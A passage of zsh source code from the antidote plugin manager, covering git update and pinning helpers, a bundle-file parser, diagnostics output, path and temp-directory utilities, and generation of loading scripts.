--abbrev=7 --oneline --ancestry-path --first-parent "${2}..${3}" 2>/dev/null; } git_merge_ffonly() { gits -C "$1" merge --quiet --ff-only "$2"; } git_min_age_sha() { gitsay -C "$1" rev-list --before="${2} days ago" -1 "$3" 2>/dev/null; } git_reset_hard() { gits -C "$1" reset --quiet --hard "$2"; } git_sha() { local d=$1; shift; gitsay -C "$d" rev-parse "$@" HEAD; } git_submodule_sync() { gits -C "$1" submodule --quiet sync --recursive; } git_submodule_update() { gits -C "$1" submodule --quiet update --init --recursive --depth 1; } git_url() { gitsay -C "$1" config remote.origin.url; } git_checkout_pin() { local dir="$1" sha="$2" bname="$3" if ! git_checkout_detach "$dir" "$sha" 2>/dev/null; then if ! git_fetch "$dir" --depth 1 origin "$sha" 2>/dev/null \ || ! git_checkout_detach "$dir" "$sha"; then warn "antidote: error: pin commit '$sha' not found for $bname" return 1 fi fi } # Print the ref a bundle updates against, or return 1. Falls back past # @{upstream} for a detached HEAD (eg an ephemeral pin). git_upstream_ref() { local ref local -a refs ref=$(gitq -C "$1" rev-parse --symbolic-full-name '@{upstream}') if [[ -z "$ref" ]]; then refs=(${(f)"$(gitq -C "$1" for-each-ref --format='%(refname)' refs/remotes/origin)"}) refs=(${refs:#refs/remotes/origin/HEAD}) if (( $#refs == 1 )); then ref=$refs[1] else ref=$(gitq -C "$1" symbolic-ref refs/remotes/origin/HEAD) fi fi [[ -n "$ref" ]] || return 1 print -r -- "$ref" } # Rebase onto an already-fetched ref. Not `git pull`: a concurrent fetch # on the same repo can leave two branches for merge in FETCH_HEAD, which # kills the rebase. A ref can't. git_rebase() { local -a autostash_flag=(--autostash) [[ "$_ANTIDOTE_GIT_AUTOSTASH" != true ]] && autostash_flag=() gits -C "$1" rebase --quiet $autostash_flag "$2" } # Move a bundle straight onto a ref, stashing local edits the way # git_rebase's --autostash would. Edits that no longer apply stay in the # stash rather than landing as conflict markers in a sourced plugin. git_reset_to() { local dir="$1" ref="$2" bname="$3" stashed= if [[ "$_ANTIDOTE_GIT_AUTOSTASH" == true ]] && ! gitq -C "$dir" diff --quiet HEAD; then gitq -C "$dir" stash push --quiet && stashed=1 fi git_reset_hard "$dir" "$ref" || return 1 if [[ -n "$stashed" ]] && ! gitq -C "$dir" stash pop --quiet; then git_reset_hard "$dir" "$ref" || return 1 warn "antidote: $bname: local changes conflicted, kept in the stash (git -C $dir stash pop)" fi } ### Read the min-age zstyle for a bundle. # # usage: min_age_days # Sets REPLY to the configured age in days, or 0 when unset. # min_age_days() { local days zstyle -s ":antidote:bundle:$1" min-age days || days=0 # Fail-safe: an unset style can still resolve to an empty value. # Treat that as no delay rather than erroring. Use 0 to opt out. [[ -z "$days" ]] && days=0 if [[ "$days" != <-> ]]; then warn "antidote: error: min-age requires a whole number of days, got '$days'" return 1 fi typeset -g REPLY=$days } ### Move a repo back to the newest commit older than N days. # # usage: git_min_age_reset # A shallow clone has no history to search, so unshallow first. # git_min_age_reset() { local dir="$1" days="$2" bname="$3" sha if git_is_shallow "$dir"; then git_unshallow "$dir" || return 1 fi sha=$(git_min_age_sha "$dir" "$days" HEAD) if [[ -z "$sha" ]]; then warn "# antidote: $bname: no commits older than $days days, using latest" return 0 fi git_reset_hard "$dir" "$sha" } ##### BUNDLE DISCOVERY & CLONING # Find all cloned bundles under ANTIDOTE_HOME. A glob rather than find, # so no forks: (/) keeps directories, which skips a submodule's .git # file, and (D) matches dot directories the way find does. find_bundles() { local -a gitdirs gitdirs=($ANTIDOTE_HOME/**/.git(ND/)) (( $#gitdirs )) || return 0 print -rl -- ${(o)gitdirs:h} } bulk_clone() { local i bundle zsh_defer=0 local -a row local -aU script if (( !${_parsed_bundles[__count__]:-0} )); then bundle_parser fi for (( i = 1; i <= _parsed_bundles[__count__]; i++ )); do # Never clone an entry already known bad; the scripter drops it anyway. [[ -z "${_parsed_bundles[$i,__error__]}" ]] || continue bundle=${_parsed_bundles[$i,__bundle__]} bundle_type "$bundle" [[ $REPLY == (repo|url|ssh_url) ]] || continue if [[ "${_parsed_bundles[$i,kind]}" == defer && $zsh_defer == 0 ]]; then zsh_defer=1 row=(__bundle__ "${(q)_ANTIDOTE_DEFER_BUNDLE}" kind clone) script+=("zsh_script ${(j: :)row} &") fi row=(__bundle__ "${(q)bundle}" kind clone) [[ -n "${_parsed_bundles[$i,branch]}" ]] && row+=(branch "${(q)_parsed_bundles[$i,branch]}") [[ -n "${_parsed_bundles[$i,pin]}" ]] && row+=(pin "${(q)_parsed_bundles[$i,pin]}") script+=("zsh_script ${(j: :)row} &") done if [[ ${#script} -gt 0 ]]; then printf '%s\n' ${(o)script[@]} printf 'wait\n' fi } ##### BUNDLE PARSER ### Print every non-empty parser context, for a dynamic-mode parent to source. # # Contexts are found by name, so a new _antidote_*_context needs no plumbing # here, in antidote-zsh, or in the init block. Returns 1 when there are none. # emit_contexts() { local name local -a ctx for name in ${(ok)parameters[(I)_antidote_*_context]}; do (( ${#${(P)name}} )) && ctx+=($name) done (( $#ctx )) || return 1 typeset -p $ctx } ### Get the key a 'preset:' annotation is stored under. # # A repo is cloned once, so every spelling of it maps to the same clone dir # and shares one preset. Local bundles key on their $HOME-normalized path. # preset_key() { local b=$1 bundle_type "$b" if [[ "$REPLY" == (repo|url|ssh_url) ]]; then bundle_dir "$b" else b=${b/#\~\//$HOME/} typeset -g REPLY=${b/#$HOME/\$HOME} fi } ### Handle a preset: directive line - record fallback annotations for a bundle. # # Emits no entry. Presetting the same bundle again replaces its whole set. # Reads/writes bundle_parser's locals via dynamic scoping. # parse_preset_directive() { local key target dkey target=${bname#preset:} bundle_type "$target" if [[ "$REPLY" == ('?'|empty) ]]; then bundle[__error__]="invalid preset: target '$target'" bundle[__severity__]=error for key in ${(k)bundle}; do _parsed_bundles[$n,$key]=$bundle[$key] done _parsed_bundles[__has_errors__]=1 return 1 fi preset_key "$target"; dkey=$REPLY for key in ${(k)_antidote_preset_context[(I)${(b)dkey},*]}; do unset "_antidote_preset_context[$key]" done for key in ${(k)bundle}; do [[ $key == __* ]] && continue _antidote_preset_context[$dkey,$key]=$bundle[$key] done (( n-- )) return 1 } ### Handle a using: directive line - set the active using context. # # Repo using: converts the entry to kind:clone and returns 0 to keep it. # Path using: sets context only and returns 1 to skip the entry. # Invalid using: records an error entry and returns 1 to skip it. # Reads/writes bundle_parser's locals (bundle, bname, n) via dynamic scoping. # parse_using_directive() { local key typeset -gA _antidote_using_context=() _antidote_using_context[bundle]=${bname#using:} bundle_type "${_antidote_using_context[bundle]}"; _antidote_using_context[__type__]=$REPLY if [[ "${_antidote_using_context[__type__]}" == ('?'|empty) ]]; then bundle[__error__]="invalid using: target '${_antidote_using_context[bundle]}'" bundle[__severity__]=error for key in ${(k)bundle}; do _parsed_bundles[$n,$key]=$bundle[$key] done _parsed_bundles[__has_errors__]=1 return 1 fi for key in ${(k)bundle}; do [[ $key == __* ]] && continue _antidote_using_context[$key]=$bundle[$key] done if [[ "${_antidote_using_context[__type__]}" == (repo|url|ssh_url) ]]; then bundle[__bundle__]=${_antidote_using_context[bundle]} bundle[kind]=clone unset "bundle[path]" typeset -g bname=$bundle[__bundle__] return 0 fi # Dropping the entry would drop any error recorded on the line with it. if [[ -n "${bundle[__error__]}" ]]; then bundle[__severity__]=error for key in ${(k)bundle}; do _parsed_bundles[$n,$key]=$bundle[$key] done _parsed_bundles[__has_errors__]=1 return 1 fi (( n-- )) return 1 } ### Expand a bare-word bundle using the active using: context. # # Reads/writes bundle_parser's locals (bundle, bname, btype) via dynamic scoping. # expand_using_subplugin() { local key ctx_path ctx_type ctx_path=${_antidote_using_context[path]:-} ctx_type=${_antidote_using_context[__type__]:-} for key in ${(k)_antidote_using_context}; do [[ $key == (bundle|path|__type__) ]] && continue [[ -n "${bundle[$key]}" ]] || bundle[$key]=${_antidote_using_context[$key]} done if [[ "$ctx_type" == (path|dir|file) ]]; then # Path using: construct the full path as the bundle bundle[__bundle__]=${_antidote_using_context[bundle]}${ctx_path:+/$ctx_path}/$bname typeset -g bname=$bundle[__bundle__] bundle_type "$bname"; typeset -g btype=$REPLY else # Repo using: keep repo as bundle, set path annotation [[ -n "${bundle[path]}" ]] || bundle[path]=${ctx_path:+$ctx_path/}$bname bundle[__bundle__]=${_antidote_using_context[bundle]} typeset -g bname=$bundle[__bundle__] fi } ### Detect pin/branch conflicts across entries sharing a bundle dir. # # Reads bundle_parser's locals (bundle, btype, n, seen_bundles, # seen_bundle_vals) via dynamic scoping; flags criticals in _parsed_bundles. # check_pin_branch_conflicts() { local key bdir bval bprev [[ -n "${bundle[__dir__]}" && "$btype" != using_subplugin && -z "${bundle[__error__]}" ]] || return 0 bdir="${bundle[__dir__]}" for key in pin branch; do bval="${bundle[$key]}" bprev="${seen_bundle_vals[${bdir}:${key}]}" if [[ -n "${seen_bundles[$bdir]}" ]]; then if [[ -n "$bval" && -z "$bprev" ]] || [[ -z "$bval" && -n "$bprev" ]]; then _parsed_bundles[$n,__error__]="inconsistent $key for '${bundle[__bundle__]}': some entries have ${key}:${bval:-$bprev}, others do not" _parsed_bundles[$n,__severity__]="critical" _parsed_bundles[__has_critical__]=1 _parsed_bundles[__has_errors__]=1 elif [[ -n "$bval" && "$bprev" != "$bval" ]]; then _parsed_bundles[$n,__error__]="conflicting $key for '${bundle[__bundle__]}': ${key}:${bval} vs ${key}:${bprev}" _parsed_bundles[$n,__severity__]="critical" _parsed_bundles[__has_critical__]=1 _parsed_bundles[__has_errors__]=1 fi fi [[ -n "$bval" ]] && seen_bundle_vals[${bdir}:${key}]="$bval" done seen_bundles[$bdir]=1 } ### Parse bundle input into a matrix. # # Reads bundle text from stdin and populates the _parsed_bundles[i,key] global. # Detects invalid bundles and conflicting pin/branch annotations inline. # Sets matrix-level flags: __count__, __has_pins__, __has_errors__, __has_critical__. # bundle_parser() { local line lineno arg partno key bname btype bnameval input dkey akey local -a args lines local -A bundle seen_bundles seen_bundle_vals local -i n=0 typeset -gA _parsed_bundles=() typeset -gA _antidote_using_context _antidote_preset_context # Read all input and normalize line endings (\r\n, \r, \n -> \n) input=$(cat) input=${input//$'\r\n'/$'\n'} input=${input//$'\r'/$'\n'} lines=("${(@f)input}") lineno=1 for line in "${lines[@]}"; do # (z): use shell wordsplitting rules # (Q): remove one level of quotes args=(${(Q)${(z)line}}) partno=0 for arg in $args; do [[ $arg == \#* ]] && break (( partno++ )) if (( partno == 1 )); then bundle=() bundle[__lineno__]=$lineno bundle[__bundle__]=$arg else if [[ "$arg" == *:* ]]; then key=${arg%%:*} bundle[$key]=${arg#*:} else bundle[__error__]="error: Expecting 'key:value' form for annotation '$arg'." fi fi done if [[ $partno -gt 0 ]]; then (( n++ )) bname="$bundle[__bundle__]" # Handle preset: directive - record fallbacks, emit no entry. if [[ "$bname" == preset:* ]]; then parse_preset_directive (( lineno++ )) continue fi # Handle using: directive - set the active using context. if [[ "$bname" == using:* ]]; then if ! parse_using_directive; then (( lineno++ )) continue fi fi # Expand word bundles using the active use context. bundle_type "$bname"; btype=$REPLY if [[ "$btype" == using_subplugin && -n "${_antidote_using_context[bundle]}" ]]; then expand_using_subplugin fi # Detect invalid bundles: unresolvable type or bare word with no active using: context. if [[ "$btype" == '?' || ( "$btype" == using_subplugin && -z "${_antidote_using_context[bundle]}" ) ]]; then if [[ -z "${bundle[__error__]}" ]]; then bundle[__error__]="invalid bundle '${bundle[__bundle__]}'" [[ "$btype" == using_subplugin ]] && bundle[__error__]+=". Are you missing a 'using:' directive?" fi bundle[__severity__]=error bundle[__type__]="$btype" for key in ${(k)bundle}; do _parsed_bundles[$n,$key]=$bundle[$key] done _parsed_bundles[__has_errors__]=1 (( lineno++ )) continue fi # Compute metadata keys for repo and URL bundles bundle[__type__]="$btype" if [[ "$btype" == (repo|url|ssh_url) || ( "$btype" == using_subplugin && -n "${_antidote_using_context[bundle]}" && "${_antidote_using_context[__type__]}" == (repo|url|ssh_url) ) ]]; then tourl "$bname"; bundle[__url__]=$REPLY short_repo_name "$bname"; bundle[__short__]=$REPLY bundle_dir "$bname"; bundle[__dir__]=$REPLY bundle[__name__]=$bundle[__short__] else bnameval=${bname/#\~\//\$HOME/} bundle[__name__]=${bnameval/#$HOME/\$HOME} fi # Presets go on last, so a value from the line or from using: wins. dkey=${bundle[__dir__]:-${bundle[__name__]}} if [[ -n "$dkey" ]]; then for key in ${(k)_antidote_preset_context[(I)${(b)dkey},*]}; do akey=${key#*,} (( ${+bundle[$akey]} )) || bundle[$akey]=${_antidote_preset_context[$key]} done fi # Defaulted after presets so a preset kind: is not shadowed. if [[ "$btype" == using_subplugin ]]; then [[ -n "${bundle[kind]}" ]] || bundle[kind]=zsh fi for key in ${(k)bundle}; do _parsed_bundles[$n,$key]=$bundle[$key] done [[ -n "${bundle[pin]}" ]] && _parsed_bundles[__has_pins__]=1 if [[ -n "${bundle[__error__]}" ]]; then _parsed_bundles[__has_errors__]=1 [[ -z "${_parsed_bundles[$n,__severity__]}" ]] && _parsed_bundles[$n,__severity__]=error fi # Detect pin/branch conflicts inline for non-subplugin bundles. check_pin_branch_conflicts fi (( lineno++ )) done _parsed_bundles[__count__]=$n } ### Serialize the parsed bundles matrix for use in subshell/eval contexts. bundle_parser_serialize() { bundle_parser typeset -p _parsed_bundles } ##### INFO & USAGE version() { local ver="$_ANTIDOTE_VERSION" local gitsha if [[ "$_ANTIDOTE_VERSION_SHOW_SHA" == true ]] && [[ -e "${ANTIDOTE_ZSH:h}/.git" ]]; then gitsha=$(git_sha "${ANTIDOTE_ZSH:h}" --short) [[ -z "$gitsha" ]] || ver="$ver ($gitsha)" fi say "antidote version $ver" } diagnostics() { local antidote_dir="${ANTIDOTE_ZSH:A:h}" local antidote_ver="$_ANTIDOTE_VERSION" local antidote_sha num_bundles num_snapshots zstyle_output line configfile bundlefile staticfile local -a bundle_dirs snapshots antidote_sha=$(command git -C "$antidote_dir" rev-parse --short HEAD 2>/dev/null) || antidote_sha="" if [[ -d "$ANTIDOTE_HOME" ]]; then bundle_dirs=( "$ANTIDOTE_HOME"/*(N/) ) num_bundles=${#bundle_dirs} else num_bundles=0 fi if [[ -d "$_ANTIDOTE_SNAPSHOT_DIR" ]]; then snapshots=( "$_ANTIDOTE_SNAPSHOT_DIR"/snapshot-*.txt(N) ) num_snapshots=${#snapshots} else num_snapshots=0 fi say "antidote:" if [[ -n "$antidote_sha" ]]; then say " version: $antidote_ver ($antidote_sha)" else say " version: $antidote_ver" fi say " path: $antidote_dir" say " home: $ANTIDOTE_HOME" say " bundles: $num_bundles" say " snapshot dir: $_ANTIDOTE_SNAPSHOT_DIR" say " snapshots: $num_snapshots" configfile=$ANTIDOTE_CONFIG if [[ -f "$configfile" ]]; then say " config: $configfile" else say " config: $configfile (not found)" fi bundlefile=$_ANTIDOTE_BUNDLE_FILE if [[ -f "$bundlefile" ]]; then say " bundle file: $bundlefile" else say " bundle file: $bundlefile (not found)" fi zstyle -s ':antidote:static' file 'staticfile' if [[ -z "$staticfile" ]]; then if [[ -z "$bundlefile:t:r" ]]; then staticfile=${bundlefile}.zsh else staticfile=${bundlefile:r}.zsh fi fi if [[ -f "$staticfile" ]]; then say " static file: $staticfile" else say " static file: $staticfile (not found)" fi say "" say "system/utils:" say " system: $(uname -srm 2>/dev/null || say '(unknown)')" say " zsh path: ${commands[zsh]:-(not found)}" say " zsh version: $(zsh --version 2>&1 || say '(unknown)')" say " git path: ${commands[${_ANTIDOTE_GIT_CMD}]:-(not found)}" say " git version: $($_ANTIDOTE_GIT_CMD --version 2>&1 || say '(unknown)')" say "" say "environment:" say " ANTIDOTE_HOME: ${ANTIDOTE_HOME:-(not set)}" say " OSTYPE: ${OSTYPE:-(not set)}" say " TERM: ${TERM:-(not set)}" say " TERM_PROGRAM: ${TERM_PROGRAM:-(not set)}" say " XDG_CONFIG_HOME: ${XDG_CONFIG_HOME:-(not set)}" say " ZDOTDIR: ${ZDOTDIR:-(not set)}" say " ZSH_VERSION: ${ZSH_VERSION:-(not set)}" say "" say "zstyles:" # ':antidote:config sourced' is internal plumbing, not user config. zstyle_output=$(zstyle -L ':antidote:*' 2>/dev/null | grep -v '^zstyle :antidote:config sourced ') if [[ -n "$zstyle_output" ]]; then for line in "${(@f)zstyle_output}"; do say " $line" done else say " (none)" fi } usage() { say "$_ANTIDOTE_HELP" } ##### BUNDLE TYPES & NAMING ### True when output should be colorized. NO_COLOR wins, then either force # variable, then CLICOLOR=0, then a terminal with at least 8 colors. # Terminals shipping their own terminfo entry can be missing from the # system database, but those set COLORTERM. supports_color() { local force=${FORCE_COLOR:-$CLICOLOR_FORCE} [[ -n "$NO_COLOR" ]] && return 1 [[ -n "$force" ]] && { is_true "$force"; return } is_true "${CLICOLOR-1}" && [[ "$_ANTIDOTE_IS_TTY" == true ]] || return 1 zmodload -F zsh/terminfo p:terminfo 2>/dev/null (( ${terminfo[colors]:-0} >= 8 )) || [[ "$COLORTERM" == (truecolor|24bit) || "$TERM" == (*color*|*rxvt*) ]] } tourl() { local url=$1 if [[ $1 != *://* && $1 != git@*:*/* ]]; then if [[ $_ANTIDOTE_GIT_PROTOCOL == ssh ]]; then url=git@${_ANTIDOTE_GIT_SITE}:$1 else url=https://${_ANTIDOTE_GIT_SITE}/$1 fi fi typeset -g REPLY=$url } bundle_type() { local bundle=$1 btype # Try to expand path bundles with '$' and '~' prefixes so that we get a more # granular result than 'path'. if [[ $bundle == '~/'* ]]; then bundle=${~bundle} elif [[ $bundle == '$'* ]]; then bundle=${(e)bundle} fi # Determine the bundle type. if [[ -e "$bundle" ]]; then [[ -f $bundle ]] && btype=file || btype=dir elif [[ -z "${bundle// }" ]]; then btype=empty else case "$bundle" in (/|~|'$'|'.')*) btype=path ;; *://*) btype=url ;; *@*:*/*) btype=ssh_url ;; *(:|@)*) btype='?' ;; *\ *|*$'\t'*) btype='?' ;; */*/*) btype='?' ;; */) btype='?' ;; */*) btype=repo ;; *) btype=using_subplugin ;; esac fi typeset -g REPLY=$btype } # Convert URLs and paths to short user/repo form short_repo_name() { local name local -a parts name=${1%.git} if [[ "$name" != git@*:*/* ]]; then name=${name:gs/\:/\/} parts=(${(ps./.)name}) name=${parts[-2]}/${parts[-1]} fi typeset -g REPLY=$name } bundle_name() { local name bundle_type "$1" if [[ "$REPLY" == (url|ssh_url) ]] ; then short_repo_name "$1" else name=${1/#\~\//\$HOME/} typeset -g REPLY=${name/#$HOME/\$HOME} fi } ##### FILESYSTEM & MISC HELPERS initfiles() { local dir local -a found dir=${1:A} found=($dir/${dir:A:t}.plugin.zsh(N)) [[ $#found -gt 0 ]] || found=($dir/*.plugin.zsh(N)) [[ $#found -gt 0 ]] || found=($dir/*.zsh(N)) [[ $#found -gt 0 ]] || found=($dir/*.sh(N)) [[ $#found -gt 0 ]] || found=($dir/${dir:A:t}.zsh-theme(N)) [[ $#found -gt 0 ]] || found=($dir/*.zsh-theme(N)) typeset -ga reply=(${(u)found[@]}) (( $#reply )) || return 1 } get_dir() { local kind="$1" suffix="$2" result if [[ "${_ANTIDOTE_OSTYPE}" == darwin* ]]; then case $kind in cache) result=$HOME/Library/Caches ;; data) result="$HOME/Library/Application Support" ;; esac elif [[ "${_ANTIDOTE_OSTYPE}" == (cygwin|msys)* ]]; then result=$_ANTIDOTE_LOCALAPPDATA if (( $+commands[cygpath] )); then result=$(cygpath "$result") fi else case $kind in cache) result=${XDG_CACHE_HOME:-$HOME/.cache} ;; data) result=${XDG_DATA_HOME:-$HOME/.local/share} ;; esac fi if [[ -n "$suffix" ]]; then if [[ $result == *\\* ]] && [[ $result != */* ]]; then result+="\\$suffix" else result+="/$suffix" fi fi # REPLY too, so callers can skip the $( ) fork. typeset -g REPLY=$result say $result } get_cachedir() { get_dir cache "$@"; } get_datadir() { get_dir data "$@"; } # Print the OS specific temp dir: ANTIDOTE_TMPDIR if usable, else /tmp. temp_dir() { local tmpd="${ANTIDOTE_TMPDIR%/}" [[ -n "$tmpd" && -d "$tmpd" && -w "$tmpd" ]] || tmpd=/tmp say "$tmpd" } del() { local p tmpdir (( $# > 0 )) || return 1 tmpdir=$(temp_dir) for p in $@; do p="${p:a}" if [[ "$p" != ${HOME}/* ]] && [[ "$p" != ${tmpdir}/* ]]; then die "antidote: Blocked attempt to rm path: '$p'." fi done rm -rf -- "$@" } ### Create a cross-platform temporary directory/file for antidote. # usage: maketmp [-d] [-s suffix] # -d Create a directory rather than a file # -s Use this for the temp file/dir # Returns the path of created temp directory/file. maketmp() { local -a o_dir o_suffix local tmpbase pattern zparseopts ${ZPARSEOPTS} -- d=o_dir s:=o_suffix # Set the appropriate temp directory (cargo cult code from p10k) tmpbase=$(temp_dir) # Create the pattern with PID pattern="antidote.$$" # Add suffix if provided with -s if (( $#o_suffix )) && [[ -n "${o_suffix[-1]}" ]]; then pattern="${pattern}.${o_suffix[-1]}" fi # Add random chars pattern="${pattern}.XXXXXXXXXX" # Create temp directory or file if (( $#o_dir )); then mktemp -d "${tmpbase}/${pattern}" else mktemp "${tmpbase}/${pattern}" fi } # Print a path, replacing $HOME with the literal string "$HOME" unless escaped style. print_path() { if [[ $_ANTIDOTE_PATH_STYLE == escaped ]]; then typeset -g REPLY=$1 else typeset -g REPLY=${1/#$HOME/\$HOME} fi } # Indent each line of input by 2 spaces. indent() { local -a lines lines=("${(@f)$(collect_input "$@")}") printf ' %s\n' $lines } bundle_zcompile() { local bundle zfile local -a bundles builtin autoload -Uz zrecompile if [[ -z "$1" ]]; then bundles=(${(f)"$(antidote_list --dirs)"}) elif [[ -f "$1" ]]; then zrecompile -pq "$1" return elif [[ -d "$1" ]]; then bundles=($1) else bundles=(${(f)"$(antidote_path "$1")"}) fi for bundle in $bundles; do for zfile in ${bundle}/**/*.zsh{,-theme}(N); do [[ $zfile != */test-data/* ]] || continue zrecompile -pq "$zfile" done done } # Read input from args, pipe, or redirect. collect_input() { local data local -a input=() if (( $# > 0 )); then input=("${(s.\n.)${@}}") elif [[ ! -t 0 ]]; then while IFS= read -r data || [[ -n "$data" ]]; do input+=("$data") done fi printf '%s\n' "${input[@]}" } ##### BUNDLE DIRECTORIES ### Compute the bundle directory path for a given path-style. # # Unlike bundle_dir, this always computes based on the requested style # without checking for existing directories. # __bundle_dir_by_style() { local url=$1 style=${2:-$_ANTIDOTE_PATH_STYLE} dir dir=$url case $style in escaped) dir=${dir:gs/\@/-AT-} dir=${dir:gs/\:/-COLON-} dir=${dir:gs/\//-SLASH-} ;; *) if [[ $dir == https://* ]]; then dir=${dir#https://} elif [[ $dir == git@*:* ]]; then dir=${dir#git@} dir=${dir:s/\:/\/} fi if [[ $style == short ]]; then dir=${dir#*/} fi ;; esac typeset -g REPLY=$ANTIDOTE_HOME/$dir } bundle_dir() { # Determine the bundle directory based on the configured path-style: # full (default) : $ANTIDOTE_HOME/github.com/owner/repo # short : $ANTIDOTE_HOME/owner/repo # escaped : $ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-owner-SLASH-repo # # If a clone already exists under a different path-style, return it rather # than computing a new path. No side effects - use bundle_dir_cleanup to # remove legacy duplicates. local bundle=$1 local url preferred style dir found local -a other_styles=(full short escaped) bundle_type "$bundle" if [[ "$REPLY" == (repo|url|ssh_url) ]] && [[ ! -e "$bundle" ]]; then tourl $bundle; url=${REPLY%.git} __bundle_dir_by_style "$url"; preferred=$REPLY if [[ -d "$preferred" ]]; then typeset -g REPLY=$preferred else # Check other path-styles for existing clones. other_styles=( ${other_styles:#$_ANTIDOTE_PATH_STYLE} ) for style in $other_styles; do __bundle_dir_by_style "$url" "$style"; dir=$REPLY if [[ -d "$dir" ]]; then found=$dir break fi done typeset -g REPLY=${found:-$preferred} fi elif [[ -f "$bundle" ]]; then typeset -g REPLY=${bundle:A:h} else typeset -g REPLY=${bundle} fi } ### Remove legacy path-style duplicates for a bundle. # # If the preferred path exists, remove any clones under other path-styles. # Called during bundling to clean up after a path-style migration. # bundle_dir_cleanup() { local bundle=$1 preferred=$2 local url style dir local -a other_styles=(full short escaped) bundle_type "$bundle" if [[ "$REPLY" == (repo|url|ssh_url) ]] && [[ ! -e "$bundle" ]]; then tourl $bundle; url=${REPLY%.git} [[ -z "$preferred" ]] && { __bundle_dir_by_style "$url"; preferred=$REPLY } # Only clean up if the preferred path exists. [[ -d "$preferred" ]] || return 0 other_styles=( ${other_styles:#$_ANTIDOTE_PATH_STYLE} ) for style in $other_styles; do __bundle_dir_by_style "$url" "$style"; dir=$REPLY [[ -d "$dir" ]] && del "$dir" done fi } ### Remove the empty directories a failed clone left behind. # # git deletes the clone target itself but keeps any parent directory it # had to create, and those leftovers then look like an existing clone. # Everything here goes through rmdir, which refuses a non-empty # directory, so a real bundle can never be removed by mistake. # # Always succeeds. Pruning nothing is the normal case, and callers run as # parallel jobs whose status becomes the bundle run's exit code. # clone_dir_prune() { local dir # never prune the home itself, or anything outside it [[ "$1" == "$ANTIDOTE_HOME"/?* ]] || return 0 # a clone is never leftovers, and .git carries empty dirs of its own # (objects/info, refs/tags) that rmdir would happily take. [[ -e "$1/.git" ]] && return 0 # descending name order puts children ahead of their parents for dir in "$1"/**/*(ND/On) "$1"; do [[ "$dir" == *"/.git"(|/*) ]] && continue rmdir "$dir" 2>/dev/null done dir=${1:h} while [[ "$dir" == "$ANTIDOTE_HOME"/?* ]]; do rmdir "$dir" 2>/dev/null || break dir=${dir:h} done return 0 } ##### MATRIX PASSES ### Remove legacy path-style duplicates for all bundles in the matrix. bundle_dir_cleanup_pass() { local i for (( i = 1; i <= _parsed_bundles[__count__]; i++ )); do [[ "${_parsed_bundles[$i,__type__]}" == (repo|url|ssh_url) ]] || continue bundle_dir_cleanup "${_parsed_bundles[$i,__bundle__]}" done } ### Sync pin state for all pinned repo bundles in the matrix. # # Only handles bundles with an active pin: annotation. The "pin removed" case # (clearing a previously-set antidote.pin git config) is handled inside # zsh_script so it runs in parallel across all bundles. # bundle_sync_pins() { local i bundle_path bname pin current_pin for (( i = 1; i <= _parsed_bundles[__count__]; i++ )); do [[ "${_parsed_bundles[$i,__type__]}" == (repo|url|ssh_url) ]] || continue pin=${_parsed_bundles[$i,pin]:-} [[ -n "$pin" ]] || continue bundle_path=${_parsed_bundles[$i,__dir__]} [[ -e "$bundle_path" ]] || continue bname=${_parsed_bundles[$i,__name__]} current_pin=$(git_config_get "$bundle_path" antidote.pin) if [[ "$current_pin" != "$pin" ]] || [[ "$(git_sha "$bundle_path")" != "$pin" ]]; then if ! git_checkout_pin "$bundle_path" "$pin" "$bname"; then return 1 fi # if-form so an ephemeral pin doesn't leak status 1 from the loop if [[ "$ANTIDOTE_EPHEMERAL_PIN" != true ]]; then git_config_set "$bundle_path" antidote.pin $pin fi fi done return 0 } ### Zcompile all bundles in the matrix that have zcompile enabled. bundle_zcompile_pass() { local i bundle_str bundle_path subpath kind for (( i = 1; i <= _parsed_bundles[__count__]; i++ )); do bundle_str=${_parsed_bundles[$i,__bundle__]} zstyle -t ":antidote:bundle:$bundle_str" zcompile || continue kind=${_parsed_bundles[$i,kind]:-zsh} # clone-only bundles: compile the whole bundle dir # zsh bundles: compile the bundle dir (possibly with subpath) # fpath/path/autoload/defer: skip [[ "$kind" == (fpath|path|autoload) ]] && continue bundle_path=${_parsed_bundles[$i,__dir__]:-$bundle_str} subpath=${_parsed_bundles[$i,path]:-} [[ -n "$subpath" ]] && bundle_path+="/$subpath" [[ -e "$bundle_path" ]] || continue bundle_zcompile $bundle_path done } ### Emit critical errors from the parsed bundle matrix and return 1 if any exist. # bundle_check_critical() { local i if (( _parsed_bundles[__has_critical__] )); then for (( i = 1; i <= _parsed_bundles[__count__]; i++ )); do [[ "${_parsed_bundles[$i,__severity__]}" == "critical" ]] || continue warn "# antidote: critical error on line ${_parsed_bundles[$i,__lineno__]}: ${_parsed_bundles[$i,__error__]}" done return 1 fi } ##### SCRIPT GENERATION ### Generate script lines to add a dir to fpath and autoload its functions. # usage: autoload_script autoload_script() { # Name the dir; $fpath[1] is not an index under ksh_arrays. local autoload_cmd="builtin autoload -Uz \"$1\"/*(N.:t)" if [[ "$2" == prepend ]]; then typeset -ga reply=( "fpath=( \"$1\" \$fpath )" "$autoload_cmd" ) else typeset -ga reply=( "fpath+=( \"$1\" )" "$autoload_cmd" ) fi } bundle_scripter() { local i key bval skip_load_defer=0 err=0 local -a row bkeys if (( !${_parsed_bundles[__count__]:-0} )); then die "antidote: error: bundle argument expected" fi for (( i = 1; i <= _parsed_bundles[__count__]; i++ )); do if [[ -n "${_parsed_bundles[$i,__error__]}" ]]; then warn "# antidote: ${_parsed_bundles[$i,__severity__]:-error} on line ${_parsed_bundles[$i,__lineno__]}: ${_parsed_bundles[$i,__error__]}" err=1 continue fi # Serialize matrix row as key-value args for zsh_script. # Pass __bundle__ and __type__ as the only internal keys; pass all user keys. bval=${_parsed_bundles[$i,__bundle__]} if [[ "$bval" == "${(q)bval}" || "$bval" == '~'* ]]; then row=(__bundle__ "$bval") else row=(__bundle__ "${(qq)bval}") fi row+=(__type__ "${_parsed_bundles[$i,__type__]}") bkeys=(${${(k)_parsed_bundles[(I)$i,^__*]}#$i,}) for key in ${(o)bkeys}; do bval=${_parsed_bundles[$i,$key]} if [[ "$bval" == "${(q)bval}" ]]; then row+=("$key" "$bval") else row+=("$key" "${(qq)bval}") fi done # Track defers: inject __skip_load_defer__ for 2nd+ defer bundles if [[ "${_parsed_bundles[$i,kind]}" == defer ]]; then if (( skip_load_defer == 0 )); then skip_load_defer=1 else row+=(__skip_load_defer__ 1) fi fi printf 'zsh_script' printf ' %s' "${row[@]}" printf '\n' done return $err } ### Wrap bundle_scripter output for parallel execution. # # Converts sequential zsh_script calls into parallel ones that write # to numbered temp files, then concatenates results in order. 